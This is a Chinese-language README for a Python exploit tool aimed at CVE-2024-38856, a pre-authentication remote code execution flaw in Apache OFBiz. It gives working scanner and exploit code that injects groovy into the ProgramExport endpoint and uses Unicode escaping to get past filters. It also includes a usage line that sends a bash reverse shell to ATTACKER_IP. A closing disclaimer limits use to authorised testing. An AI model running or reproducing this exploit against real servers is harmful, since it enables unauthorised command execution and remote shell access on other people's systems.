CVE-2024-38856 Apache OFBiz 漏洞利用工具
Apache OFBiz 是一个开源的企业资源规划系统,提供一系列企业应用集成和自动化业务流程。CVE-2024-38856 是一个预认证漏洞,可导致远程代码执行。本工具提供漏洞检测和利用功能。
受影响版本: 18.12.15 之前的所有版本
功能特性
- 漏洞检测 - 自动检测目标是否存在 CVE-2024-38856 漏洞
- 远程代码执行 - 利用 groovy 程序注入执行任意系统命令
- 反向Shell支持 - 内置 Base64 编码的反向Shell payload 生成
- Unicode编码绕过 - 自动对 payload 进行 Unicode 编码绕过过滤
- 彩色输出 - 直观的漏洞检测结果展示
- SSL证书验证禁用 - 支持 HTTPS 目标测试
安装指南
系统要求
- Python 3.6+
- pip 包管理器
依赖安装
pip install requests urllib3
或者使用 requirements.txt:
pip install -r requirements.txt
获取工具
git clone https://github.com/yourusername/CVE-2024-38856-ApacheOfBiz.git
cd CVE-2024-38856-ApacheOfBiz
使用说明
1. 漏洞扫描
检测目标是否易受攻击:
python3 scanner.py https://target.com:8443/
输出示例:
* Target is Vulnerable!
2. 漏洞利用
执行反向Shell payload:
python3 exploit.py https://target.com:8443/ "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"
攻击流程:
- 工具将反向Shell payload 进行 Base64 编码
- 对编码后的 payload 进行 Unicode 转义
- 构造 groovy 程序注入请求
- 发送到
/webtools/control/main/ProgramExport端点 - 触发反向连接
3. 使用帮助
python3 exploit.py -h
python3 scanner.py -h
核心代码
漏洞检测模块 (scanner.py)
def checkVuln(targetURL):
# 验证URL协议
if not (targetURL.startswith("http://") or targetURL.startswith("https://")):
print("Error: URL must start with http:// or https://")
sys.exit()
# 构造检测payload - 执行 'id' 命令
checkurl = f"{targetURL}webtools/control/forgotPassword/ProgramExport?groovyProgram=throw+new+Exception('id'.execute().text)"
response = requests.get(checkurl, timeout=7, verify=False)
# 检测响应中是否包含命令执行结果
if response.status_code == 200 and 'uid=0' in response.text:
print("\033[92m * Target is Vulnerable! \033[0m \n")
else:
print("Target is not vulnerable or not reachable :(")
漏洞利用模块 (exploit.py)
def exploit(targetURL, payload):
# Base64编码反向Shell payload
revShellBase64 = base64.b64encode(payload.encode()).decode()
# 构造groovy程序执行命令
finalPayload = f'["bash", "-c", "{{echo,{revShellBase64}}}|{{base64,-d}}|{{bash,-i}}"].execute().text'
# Unicode编码绕过过滤
unicode_escape_payload = finalPayload.encode('unicode_escape').decode('ascii')
# 发送利用请求
exploitURL = f"{targetURL}webtools/control/main/ProgramExport"
data = f"groovyProgram={unicode_escape_payload}"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
sendPayload = requests.get(exploitURL, params=data, headers=headers, verify=False)
Banner显示模块
def ascii():
art = print(""" _ _ _ _ _ ___ _
| || |__ _ __| |__ | |_| |_ ___ | _ \ |__ _ _ _ ___| |_
| __ / _` / _| / / | _| ' \/ -_) | _/ / _` | ' \/ -_) _|
|_||_\__,_\__|_\_\ \__|_||_\___| |_| |_\__,_|_||_\___|\__|
""")
return art
⚠️ 免责声明
本工具仅用于教育和授权测试目的。禁止非法/未经授权使用本工具。使用者需对因误用或滥用本工具造成的任何损害承担全部责任。 6HFtX5dABrKlqXeO5PUv/xtw8pq54eRyJx2I18i+o4XPFspEWuH3ftczoX2QrbR4